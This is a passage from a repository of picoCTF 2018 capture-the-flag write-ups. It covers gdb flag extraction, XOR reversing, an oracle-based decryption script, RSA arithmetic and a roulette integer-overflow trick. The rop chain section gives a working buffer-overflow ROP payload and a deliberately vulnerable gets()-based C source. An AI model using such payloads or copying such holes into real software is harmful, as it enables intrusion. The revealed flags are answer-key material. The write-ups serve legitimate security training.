30 | key_constraint_08 = key[1] + key[4] + key[7] 31 | s.add(key_constraint_08 % 36 == 7) 32 | 33 | key_constraint_09 = key[9] + key[12] + key[15] 34 | s.add(key_constraint_09 % 36 == 20) 35 | 36 | key_constraint_10 = key[13] + key[14] + key[15] 37 | s.add(key_constraint_10 % 36 == 12) 38 | 39 | key_constraint_11 = key[8] + key[9] + key[10] 40 | s.add(key_constraint_11 % 36 == 27) 41 | 42 | key_constraint_12 = key[7] + key[12] + key[13] 43 | s.add(key_constraint_12 % 36 == 23) 44 | 45 | # NUMBER CONSTRAINT 46 | def addConstraintBetweenXandY(solver, group, x, y): 47 | for i in range(0, len(group)): 48 | solver.add(group[i] >= x, group[i] < y) 49 | 50 | for x in range(16): 51 | addConstraintBetweenXandY(s, key, 0, 35) 52 | 53 | # SOLVE 54 | if s.check(): 55 | m = s.model() 56 | print(m) 57 | -------------------------------------------------------------------------------- /Solved/learn_gdb/README.md: -------------------------------------------------------------------------------- 1 | # learn gdb 2 | General Skills - 300 points 3 | 4 | ## Challenge 5 | > Using a debugging tool will be extremely useful on your missions. Can you run this [program](run) in gdb and find the flag? You can find the file in /problems/learn-gdb_3_f1f262d9d48b9ff39efc3bc092ea9d7b on the shell server. 6 | 7 | ## Hint 8 | 9 | Try setting breakpoints in gdb 10 | Try and find a point in the program after the flag has been read into memory to break on 11 | Where is the flag being written in memory? 12 | 13 | ## Solution 14 | 15 | References 16 | 17 | - https://ubuntuforums.org/showthread.php?t=989488 18 | - https://stackoverflow.com/questions/10501268/gdb-break-after-function-has-returned 19 | - https://stackoverflow.com/questions/1530736/how-to-print-a-null-terminated-string-with-newlines-without-showing-backslash-es 20 | 21 | If we decompile the program, we see that the flag is read into memory when `decrypt_flag()` is executed. 22 | 23 | Furthermore, the flag is read into `flag_buf[]` 24 | 25 | --- 26 | 27 | Decrypt the flag 28 | 29 | (gdb) break decrypt_flag 30 | Breakpoint 1 at 0x40078a 31 | (gdb) run 32 | Starting program: /FILES/run 33 | Decrypting the Flag into global variable 'flag_buf' 34 | 35 | Breakpoint 1, 0x000000000040078a in decrypt_flag () 36 | (gdb) finish 37 | Run till exit from #0 0x000000000040078a in decrypt_flag () 38 | ..................................... 39 | 0x000000000040090a in main () 40 | 41 | Now read the flag using print/printf 42 | 43 | (gdb) info add flag_buf 44 | Symbol "flag_buf" is at 0x6013e8 in a file compiled without debugging. 45 | 46 | (gdb) print flag_buf 47 | 'flag_buf' has unknown type; cast it to its declared type 48 | 49 | (gdb) print (char*) flag_buf 50 | $1 = 0x602260 "picoCTF{gDb_iS_sUp3r_u53fuL_efaa2b29}" 51 | 52 | (gdb) printf "%s", (char*) flag_buf 53 | picoCTF{gDb_iS_sUp3r_u53fuL_efaa2b29} 54 | 55 | ## Flag 56 | 57 | picoCTF{gDb_iS_sUp3r_u53fuL_efaa2b29} 58 | -------------------------------------------------------------------------------- /Solved/learn_gdb/run: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/learn_gdb/run -------------------------------------------------------------------------------- /Solved/quackme/README.md: -------------------------------------------------------------------------------- 1 | # quackme 2 | Reversing - 200 points 3 | 4 | ## Challenge 5 | > Can you deal with the Duck Web? Get us the flag from this [program](main). You can also find the program in /problems/quackme_4_0e48834ea71b521b9f35d29dc7be974e. 6 | 7 | ## Solution 8 | 9 | The flag is given if our payload fulfils `do_magic()`. 10 | 11 | Hopper Decompiler 12 | 13 | int do_magic() { 14 | var_14 = read_input(); 15 | var_10 = strlen(var_14); 16 | esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10; 17 | var_C = malloc(var_10 + 0x1); 18 | if (var_C != 0x0) goto loc_8048696; 19 | 20 | loc_804867c: 21 | puts("malloc() returned NULL. Out of Memory\n"); 22 | eax = exit(0xffffffff); 23 | return eax; 24 | 25 | .l1: 26 | return eax; 27 | 28 | loc_8048696: 29 | memset(var_C, 0x0, var_10 + 0x1); 30 | esp = (esp - 0x10) + 0x10; 31 | var_1C = 0x0; 32 | var_18 = 0x0; 33 | goto loc_804870b; 34 | 35 | loc_804870b: 36 | eax = var_18; 37 | if (eax < var_10) goto loc_80486bd; 38 | goto .l1; 39 | 40 | loc_80486bd: 41 | if ((*(int8_t *)(var_18 + *greetingMessage) & 0xff) == (*(int8_t *)(var_14 + var_18) & 0xff ^ *(int8_t *)(var_18 + 0x8048858) & 0xff)) { 42 | var_1C = var_1C + 0x1; 43 | } 44 | if (var_1C != 0x19) goto loc_8048707; 45 | 46 | loc_80486f5: 47 | eax = puts("You are winner!"); 48 | return eax; 49 | 50 | loc_8048707: 51 | var_18 = var_18 + 0x1; 52 | goto loc_804870b; 53 | } 54 | 55 | Simplifying 56 | 57 | 58 | int do_magic() { 59 | input_text = read_input(); 60 | input_len = strlen(input_text); 61 | esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10; 62 | var_C = malloc(input_len + 0x1); 63 | if (var_C != 0x0) goto loc_8048696; 64 | 65 | // if fail allocate in malloc 66 | loc_804867c: 67 | puts("malloc() returned NULL. Out of Memory\n"); 68 | eax = exit(0xffffffff); 69 | return eax; 70 | 71 | // if success allocate in malloc 72 | loc_8048696: 73 | memset(var_C, 0x0, input_len + 0x1); 74 | esp = (esp - 0x10) + 0x10; 75 | 76 | // create variables 77 | count = 0x0; 78 | index = 0x0; 79 | goto loc_804870b; 80 | 81 | loc_804870b: 82 | if (index < input_len) goto loc_80486bd; 83 | return index; 84 | 85 | loc_80486bd: 86 | //if ((*(int8_t *)(index + *greetingMessage) & 0xff) == (*(int8_t *)(input_text + index) & 0xff ^ *(int8_t *)(index + 0x8048858) & 0xff)) { 87 | // 0x8048858 --> sekrutBuffer 88 | 89 | if (greetingMessage[index] == (input_text[index] ^ sekrutBuffer[index]) { 90 | count++; 91 | } 92 | if (count != 25) goto loc_8048707; 93 | 94 | loc_80486f5: 95 | eax = puts("You are winner!"); 96 | return eax; 97 | 98 | loc_8048707: 99 | index++; 100 | goto loc_804870b; 101 | } 102 | 103 | So now we need our input_text payload to be `25` chars of `(greetingMessage[index] ^ sekrutBuffer[index])` 104 | 105 | I've extracted sekrutBuffer and then wrote a program to XOR to form our payload. 106 | 107 | $ gcc payload.c -o pay 108 | $ ./pay 109 | picoCTF{qu4ckm3_5f8d9c17} 110 | 111 | ## Flag 112 | 113 | picoCTF{qu4ckm3_5f8d9c17} 114 | -------------------------------------------------------------------------------- /Solved/quackme/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/quackme/main -------------------------------------------------------------------------------- /Solved/quackme/payload.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | sekrutBuffer: 5 | 08048858 db 0x29 ; ')' ; DATA XREF=do_magic+126 6 | 08048859 db 0x06 ; '.' 7 | 0804885a db 0x16 ; '.' 8 | 0804885b db 0x4f ; 'O' 9 | 0804885c db 0x2b ; '+' 10 | 0804885d db 0x35 ; '5' 11 | 0804885e db 0x30 ; '0' 12 | 0804885f db 0x1e ; '.' 13 | 08048860 db 0x51 ; 'Q' 14 | 08048861 db 0x1b ; '.' 15 | 08048862 db 0x5b ; '[' 16 | 08048863 db 0x14 ; '.' 17 | 08048864 db 0x4b ; 'K' 18 | 08048865 db 0x08 ; '.' 19 | 08048866 db 0x5d ; ']' 20 | 08048867 db 0x2b ; '+' 21 | 08048868 db 0x50 ; 'P' 22 | 08048869 db 0x14 ; '.' 23 | 0804886a db 0x5d ; ']' 24 | 0804886b db 0x00 ; '.' 25 | 0804886c db 0x19 ; '.' 26 | 0804886d db 0x17 ; '.' 27 | 0804886e db 0x59 ; 'Y' 28 | 0804886f db 0x52 ; 'R' 29 | 08048870 db 0x5d ; ']' 30 | 08048871 db 0x00 ; '.' 31 | */ 32 | 33 | char * sekrutBuffer = "\x29\x06\x16\x4f\x2b\x35\x30\x1e\x51\x1b\x5b\x14\x4b\x08\x5d\x2b\x50\x14\x5d\x00\x19\x17\x59\x52\x5d\x00"; 34 | 35 | char greetingMessage[] = "You have now entered the Duck Web, and you're in for a honkin' good time.\nCan you figure out my trick?"; 36 | 37 | int main() 38 | { 39 | for (int index = 0; index < 25; index++) { 40 | char payload = (greetingMessage[index] ^ sekrutBuffer[index]); 41 | printf("%c", payload); 42 | } 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /Solved/quackme_up/README.md: -------------------------------------------------------------------------------- 1 | # quackme up 2 | Reversing - 350 points 3 | 4 | ## Challenge 5 | > The duck puns continue. Can you crack, I mean quack this [program](main) as well? You can find the program in /problems/quackme-up_0_740a9bce2dc2d486c687b9d3a6835d73 on the shell server. 6 | 7 | 8 | ## Solution 9 | 10 | Notice that the ciphertext is not dependent on the position of the char. 11 | 12 | We're moving along swimmingly. Is this one too fowl for you? 13 | Enter text to encrypt: a 14 | Here's your ciphertext: 00 15 | Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 20 30 00 45 05 35 40 65 C1 16 | That's all folks. 17 | 18 | We're moving along swimmingly. Is this one too fowl for you? 19 | Enter text to encrypt: b 20 | Here's your ciphertext: 30 21 | Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 20 30 00 45 05 35 40 65 C1 22 | That's all folks. 23 | 24 | We're moving along swimmingly. Is this one too fowl for you? 25 | Enter text to encrypt: abcd 26 | Here's your ciphertext: 00 30 20 50 27 | Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 20 30 00 45 05 35 40 65 C1 28 | That's all folks. 29 | 30 | With this, let's just collect the ciphertext of all possible chars, then map it to the quack text 31 | 32 | python solve.py 33 | 34 | ## Flag 35 | 36 | picoCTF{qu4ckm3_cba512e7} -------------------------------------------------------------------------------- /Solved/quackme_up/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/quackme_up/main -------------------------------------------------------------------------------- /Solved/quackme_up/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import string 4 | 5 | def encrypt(plaintext): 6 | p = process('./main') 7 | p.sendline(plaintext) 8 | 9 | p.recvuntil("Here's your ciphertext: ") 10 | ciphertext = p.recvline().strip() 11 | 12 | p.close() 13 | return ciphertext 14 | 15 | # Gather a mapping of chars to encoded chars 16 | lookup_table = dict() 17 | for ch in string.printable: 18 | key = encrypt(ch) 19 | if key: 20 | lookup_table[key] = ch 21 | 22 | # Decrypt 23 | quackme = "11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 20 30 00 45 05 35 40 65 C1" 24 | flag = "" 25 | for enc in quackme.split(" "): 26 | flag += lookup_table[enc] 27 | 28 | print(flag) 29 | -------------------------------------------------------------------------------- /Solved/rop_chain/README.md: -------------------------------------------------------------------------------- 1 | # rop chain 2 | Binary Exploitation - 350 points 3 | 4 | ## Challenge 5 | > Can you exploit the following [program](rop) and get the flag? You can findi the program in /problems/rop-chain_4_6ba0c7ef5029f471fc2d14a771a8e1b9 on the shell server? 6 | 7 | [Source.](rop.c) 8 | 9 | 10 | 11 | ## Hint 12 | > Try and call the functions in the correct order! 13 | 14 | > Remember, you can always call main() again! 15 | 16 | ## Solution 17 | 18 | ####Get offset 19 | 20 | # pwn cyclic 100 | strace ./rop 21 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x61616168} --- 22 | +++ killed by SIGSEGV +++ 23 | Segmentation fault 24 | 25 | # pwn cyclic -l 0x61616168 26 | 28 27 | 28 | 29 | ####Get address 30 | 31 | (gdb) info add vuln 32 | Symbol "vuln" is at 0x8048714 in a file compiled without debugging. 33 | (gdb) info add main 34 | Symbol "main" is at 0x804873b in a file compiled without debugging. 35 | (gdb) info add win_function1 36 | Symbol "win_function1" is at 0x80485cb in a file compiled without debugging. 37 | (gdb) info add win_function2 38 | Symbol "win_function2" is at 0x80485d8 in a file compiled without debugging. 39 | (gdb) info add flag 40 | Symbol "flag" is at 0x804862b in a file compiled without debugging. 41 | 42 | ####Procedure 43 | 44 | We want to go through this: 45 | 46 | win_function1(void) --> win_function2(0xBAAAAAAD) --> flag(0xDEADBAAD) 47 | 48 | In the stack, the return address can be added sequentially and each function will return to the next in sequence. 49 | 50 | Payload Format 51 | [A * 28] + [win_function1()] + [win_function2()] + [flag()] 52 | 53 | We also know that the params of the respective function start after 4 bytes gap. 54 | 55 | Payload Format 56 | [win_function2()] + [JUNK] + [0xBAAAAAAD] 57 | [flag()] + [JUNK] + [0xDEADBAAD] 58 | 59 | Thankfully, it nicely fits in for us 60 | 61 | [A * 28] + [win_function1()] + [win_function2()] + [flag()] + [0xBAAAAAAD] + [0xDEADBAAD] 62 | 63 | Forming the payload 64 | 65 | $ python -c "from pwn import *; print 'A'*28 + p32(0x80485cb) + p32(0x80485d8) + p32(0x804862b) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)" | ./rop 66 | 67 | Enter your input> picoCTF{rOp_aInT_5o_h4Rd_R1gHt_718e6c5c} 68 | Segmentation fault 69 | 70 | 71 | ## Flag 72 | 73 | picoCTF{rOp_aInT_5o_h4Rd_R1gHt_718e6c5c} 74 | -------------------------------------------------------------------------------- /Solved/rop_chain/rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/rop_chain/rop -------------------------------------------------------------------------------- /Solved/rop_chain/rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define BUFSIZE 16 9 | 10 | bool win1 = false; 11 | bool win2 = false; 12 | 13 | 14 | void win_function1() { 15 | win1 = true; 16 | } 17 | 18 | void win_function2(unsigned int arg_check1) { 19 | if (win1 && arg_check1 == 0xBAAAAAAD) { 20 | win2 = true; 21 | } 22 | else if (win1) { 23 | printf("Wrong Argument. Try Again.\n"); 24 | } 25 | else { 26 | printf("Nope. Try a little bit harder.\n"); 27 | } 28 | } 29 | 30 | void flag(unsigned int arg_check2) { 31 | char flag[48]; 32 | FILE *file; 33 | file = fopen("flag.txt", "r"); 34 | if (file == NULL) { 35 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 36 | exit(0); 37 | } 38 | 39 | fgets(flag, sizeof(flag), file); 40 | 41 | if (win1 && win2 && arg_check2 == 0xDEADBAAD) { 42 | printf("%s", flag); 43 | return; 44 | } 45 | else if (win1 && win2) { 46 | printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n"); 47 | } 48 | else if (win1 || win2) { 49 | printf("Nice Try! You're Getting There!\n"); 50 | } 51 | else { 52 | printf("You won't get the flag that easy..\n"); 53 | } 54 | } 55 | 56 | void vuln() { 57 | char buf[16]; 58 | printf("Enter your input> "); 59 | return gets(buf); 60 | } 61 | 62 | int main(int argc, char **argv){ 63 | 64 | setvbuf(stdout, NULL, _IONBF, 0); 65 | 66 | // Set the gid to the effective gid 67 | // this prevents /bin/sh from dropping the privileges 68 | gid_t gid = getegid(); 69 | setresgid(gid, gid, gid); 70 | vuln(); 71 | } 72 | -------------------------------------------------------------------------------- /Solved/roulette/README.md: -------------------------------------------------------------------------------- 1 | # roulette 2 | General Skills - 350 points 3 | 4 | ## Challenge 5 | > [This Online Roulette Service is in Beta](roulette). Can you find a way to win $1,000,000,000 and get the flag? 6 | 7 | > [Source.](roulette.c) Connect with nc 2018shell2.picoctf.com 48312 8 | 9 | ## Hint 10 | > There are 2 bugs! 11 | 12 | 13 | ## Solution 14 | 15 | #### Bug 1 16 | 17 | There is a bug with underflowing the bet money 18 | 19 | How much will you wager? 20 | Current Balance: $1719 Current Wins: 0 21 | > 4294967295 22 | Choose a number (1-36) 23 | > 1 24 | 25 | Spinning the Roulette for a chance to win $4294967294! 26 | 27 | Roulette : 27 28 | 29 | Nice try.. 30 | Stop wasting your time. 31 | 32 | How much will you wager? 33 | Current Balance: $1720 Current Wins: 0 34 | 35 | So we can enter a large number and lose and we will get the money 36 | 37 | Welcome to ONLINE ROULETTE! 38 | Here, have $3694 to start on the house! You'll lose it all anyways >:) 39 | 40 | How much will you wager? 41 | Current Balance: $3694 Current Wins: 0 42 | > 3294967295 43 | Choose a number (1-36) 44 | > 1 45 | 46 | Spinning the Roulette for a chance to win $2294967294! 47 | 48 | Roulette : 8 49 | 50 | Not this time.. 51 | If you keep it up, maybe you'll get the flag in 100000000000 years 52 | 53 | *** Current Balance: $1000003695 *** 54 | Wait a second... You're not even on a hotstreak! Get out of here cheater! 55 | 56 | 57 | #### Bug 2 58 | 59 | The seed is actually used as the starting money 60 | 61 | long get_rand() { 62 | long seed; 63 | FILE *f = fopen("/dev/urandom", "r"); 64 | fread(&seed, sizeof(seed), 1, f); 65 | fclose(f); 66 | seed = seed % 5000; 67 | if (seed < 0) seed = seed * -1; 68 | srand(seed); 69 | return seed; 70 | } 71 | 72 | // in main() 73 | cash = get_rand(); 74 | 75 | Hence, we can write a simple program to get our bet numbers. 76 | 77 | ./solve-get_spin_value 78 | 79 | Initial value: 2719 80 | Spin #1: 9 81 | Spin #2: 36 82 | Spin #3: 8 83 | 84 | 85 | ---- 86 | 87 | #### Procedure 88 | 89 | - We need to WIN 3 times with bet of $0 90 | - We need to LOSE 1 time with bet of $3294967295 91 | 92 | 93 | ---- 94 | 95 | $ nc 2018shell2.picoctf.com 48312 96 | Welcome to ONLINE ROULETTE! 97 | Here, have $2719 to start on the house! You'll lose it all anyways >:) 98 | 99 | How much will you wager? 100 | Current Balance: $2719 Current Wins: 0 101 | > 0 102 | Choose a number (1-36) 103 | > 9 104 | 105 | Spinning the Roulette for a chance to win $0! 106 | 107 | Roulette : 9 108 | 109 | You.. win.. this round... 110 | 111 | --- 112 | 113 | How much will you wager? 114 | Current Balance: $2719 Current Wins: 1 115 | > 0 116 | Choose a number (1-36) 117 | > 36 118 | 119 | Spinning the Roulette for a chance to win $0! 120 | 121 | Roulette : 36 122 | 123 | Congrats! 124 | 125 | --- 126 | 127 | How much will you wager? 128 | Current Balance: $2719 Current Wins: 2 129 | > 0 130 | Choose a number (1-36) 131 | > 8 132 | 133 | Spinning the Roulette for a chance to win $0! 134 | 135 | Roulette : 8 136 | 137 | You.. win.. this round... 138 | 139 | --- 140 | 141 | How much will you wager? 142 | Current Balance: $2719 Current Wins: 3 143 | > 3294967295 144 | Choose a number (1-36) 145 | > 1 146 | 147 | Spinning the Roulette for a chance to win $2294967294! 148 | 149 | Roulette : 21 150 | 151 | Better luck next time... 152 | Just give up! 153 | 154 | *** Current Balance: $1000002720 *** 155 | Wow, I can't believe you did it.. You deserve this flag! 156 | picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8fb4d984} 157 | 158 | 159 | ## Flag 160 | 161 | picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8fb4d984} 162 | -------------------------------------------------------------------------------- /Solved/roulette/roulette: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/roulette/roulette -------------------------------------------------------------------------------- /Solved/roulette/solve-get_spin_value.c: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | 3 | Online C Compiler. 4 | Code, Compile, Run and Debug C program online. 5 | Write your code in this editor and press "Run" button to compile and execute it. 6 | 7 | *******************************************************************************/ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define MAX_NUM_LEN 12 16 | #define HOTSTREAK 3 17 | #define MAX_WINS 16 18 | #define ONE_BILLION 1000000000 19 | #define ROULETTE_SIZE 36 20 | #define ROULETTE_SPINS 128 21 | #define ROULETTE_SLOWS 16 22 | #define NUM_WIN_MSGS 10 23 | #define NUM_LOSE_MSGS 5 24 | 25 | int main() 26 | { 27 | // get seed 28 | long seed; 29 | printf("Initial value: "); 30 | scanf("%d", &seed); 31 | srand(seed); 32 | 33 | for (int numb = 1; numb < 4; numb++) { 34 | // do spin rand() 35 | long spin = (rand() % ROULETTE_SIZE)+1; 36 | printf("Spin #%d: %d\n", numb, spin); 37 | 38 | // dummy rand() for win message 39 | long dummy = rand(); 40 | } 41 | 42 | 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /Solved/roulette/try.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | 4 | s = socket.socket() 5 | s.connect(('2018shell2.picoctf.com',48312)) 6 | 7 | 8 | win = 0 9 | count = 0 10 | 11 | while True: 12 | data = s.recv(4096).decode().strip() 13 | if not data: 14 | continue 15 | 16 | if 'How much will you wager?' in data: 17 | if win < 3: 18 | s.send(b'0\n') 19 | else: 20 | s.send(b'3294967295\n') 21 | 22 | elif 'Current Wins: ' in data: 23 | win = (data.split('Current Wins: ')[1])[0] 24 | win = int(win) 25 | print("Win:", win) 26 | 27 | count += 1 28 | print("Round:", count) 29 | 30 | elif 'Choose a number (1-36)' in data: 31 | s.send(b'2\n') 32 | 33 | elif 'pico' in data: 34 | print("Received:", data) 35 | -------------------------------------------------------------------------------- /Solved/rsa_madlibs/6-cuberoot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import gmpy2 3 | 4 | gmpy2.get_context().precision=200 5 | 6 | c = 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 7 | 8 | # https://stackoverflow.com/a/356187 9 | # gmpy2 has gmpy2.iroot to compute integer roots 10 | 11 | m = gmpy2.iroot(c, 3)[0] 12 | print(m) 13 | 14 | assert pow(m,3) == c -------------------------------------------------------------------------------- /Solved/rsa_madlibs/7-modinv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | p = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 4 | q = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 5 | 6 | n = p*q 7 | phi = (p-1)*(q-1) 8 | 9 | e = 65537 10 | 11 | # Took from SO 12 | def egcd(a, b): 13 | if a == 0: 14 | return (b, 0, 1) 15 | g, y, x = egcd(b%a,a) 16 | return (g, x - (b//a) * y, y) 17 | 18 | def modinv(a, m): 19 | g, x, y = egcd(a, m) 20 | if g != 1: 21 | raise Exception('No modular inverse') 22 | return x%m 23 | 24 | d = modinv(e, phi) 25 | 26 | ''' 27 | print('P =', p) 28 | print('Q =', q) 29 | print('N =', n) 30 | print('Phi =', phi) 31 | print('E =', e) 32 | print('D =', d) 33 | print('(E*D)%Phi =', (e*d)%phi) 34 | ''' 35 | 36 | print('D =', d) 37 | -------------------------------------------------------------------------------- /Solved/rsa_madlibs/8-getflag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Util import asn1 4 | import binascii 5 | 6 | # Given 7 | p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 8 | c = 2887512232927570212720289007617218056059430602904994311768865248937186092346045634461113653200410008027930318598899961967398819457005578177750855122616645816143754424929892030705859313377266089203195245015545475756780591749438383925678961618918887123573182347018588636929367129348683955602230289203565347486263264786442219851846011532640387672302559499309153498019746553031047474066734422816867560702848158992070366148525244203275301204388654920924623403169692782505561391649873520950447510664771965559666379810356768249845746489087039846408953680555639864400302957371546072298362982071553184164689418758473539792781 9 | e = 65537 10 | n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 11 | 12 | # Calculate 13 | q = n // p 14 | phi = (p-1) * (q-1) 15 | 16 | def egcd(a, b): 17 | if a == 0: 18 | return (b, 0, 1) 19 | g, y, x = egcd(b%a,a) 20 | return (g, x - (b//a) * y, y) 21 | 22 | def modinv(a, m): 23 | g, x, y = egcd(a, m) 24 | if g != 1: 25 | raise Exception('No modular inverse') 26 | return x%m 27 | 28 | d = modinv(e, phi) 29 | 30 | # get plaintext 31 | priv_key = RSA.construct((n, e, d)) 32 | m = priv_key.decrypt(c) 33 | print(m) 34 | 35 | # If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;) 36 | def hex_pair(x): 37 | return ('0' * (len(x) % 2)) + x 38 | 39 | m_hex = '{:x}'.format(m) 40 | m_hex = hex_pair(m_hex) 41 | msg = binascii.unhexlify(m_hex) 42 | print(msg.decode()) 43 | -------------------------------------------------------------------------------- /Solved/rsa_madlibs/README.md: -------------------------------------------------------------------------------- 1 | # rsa-madlibs 2 | Cryptography - 250 points 3 | 4 | ## Challenge 5 | > We ran into some weird puzzles we think may mean something, can you help me solve one? 6 | 7 | > Connect with nc 2018shell2.picoctf.com 18148 8 | 9 | 10 | ## Solution 11 | 12 | A long challenge covering various questions on RSA calculations 13 | 14 | 1. Y`p * q = n` 15 | 2. `n / p = q` 16 | 3. Not possible - not enough info. Knowing only e (public key exponent) and n (modulus) cannot help us get p and q which are large prime factors of n since the RSA algorithm is based on the problem of [factoring large integers](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Integer_factorization_and_RSA_problem). 17 | 4. `phi = (p-1) * (q-1)` 18 | 5. `c = pow(m, e, n)` 19 | 6. Not possible - cuberoot does not yield an integer ([Exploit is when n is very big but e is very small and m is very small](https://github.com/zst123/gryphonctf-2017-writeups/tree/master/Solved/NoWrap)). Again, RSA algorithm is based on the [Integer factorization](https://en.wikipedia.org/wiki/Integer_factorization) and [RSA problem](https://en.wikipedia.org/wiki/RSA_problem) which means that given the modulus, public key exponent and ciphertext, it is difficult to calculate the private key exponent and plaintext. 20 | 7. `d * e == 1 modulo (p-1)(q-1)` 21 | - [Source](https://stackoverflow.com/questions/16310871/in-rsa-encryption-how-do-i-find-d-given-p-q-e-and-c) 22 | - [Code](https://gist.github.com/ofaurax/6103869014c246f962ab30a513fb5b49) 23 | 8. `m = pow(c, d, n)` and same as 7 24 | 25 | 26 | Submission 27 | 28 | y 29 | 8815769761 30 | y 31 | 77773 32 | n 33 | y 34 | 6256003596 35 | y 36 | 26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053 37 | n 38 | y 39 | 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729 40 | y 41 | 240109877286251840533272915662757983981706320845661471802585807564915966910385128423526644303028605 42 | 43 | 44 | ## Flag 45 | 46 | The flag is the plaintext of question 8 47 | 48 | $ python3 8-getflag.py 49 | 240109877286251840533272915662757983981706320845661471802585807564915966910385128423526644303028605 50 | picoCTF{d0_u_kn0w_th3_w@y_2_RS@_b38be18a} 51 | -------------------------------------------------------------------------------- /Solved/script_me/README.md: -------------------------------------------------------------------------------- 1 | # script me 2 | General Skills - 500 points 3 | 4 | ## Challenge 5 | > Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell2.picoctf.com 1542 6 | 7 | ## Hint 8 | > Maybe try writing a python script? 9 | 10 | ## Solution 11 | 12 | $ nc 2018shell2.picoctf.com 1542 13 | Rules: 14 | () + () = ()() => [combine] 15 | ((())) + () = ((())()) => [absorb-right] 16 | () + ((())) = (()(())) => [absorb-left] 17 | (())(()) + () = (())(()()) => [combined-absorb-right] 18 | () + (())(()) = (()())(()) => [combined-absorb-left] 19 | (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] 20 | ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] 21 | () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] 22 | 23 | Example: 24 | (()) + () = () + (()) = (()()) 25 | 26 | Let's start with a warmup. 27 | (()) + ((())()) = ??? 28 | 29 | > ((())(())()) 30 | Correct! 31 | 32 | Okay, now we're cookin! 33 | ((())()) + (()()) + ()() = ??? 34 | 35 | 36 | #### Understanding the rules 37 | 38 | Originally I had the following wrong assumptions 39 | 40 | 1. Comparing `[combine]` and the `[x-absorb-x]` rules, it is absorbed only if the left/right has more than one bracket. 41 | 2. From `[left-associative]`, we also do the operation one at a time from left to right 42 | 43 | --- 44 | 45 | However, my first assumption was wrong when trying out and I encountered this from the server. 46 | 47 | 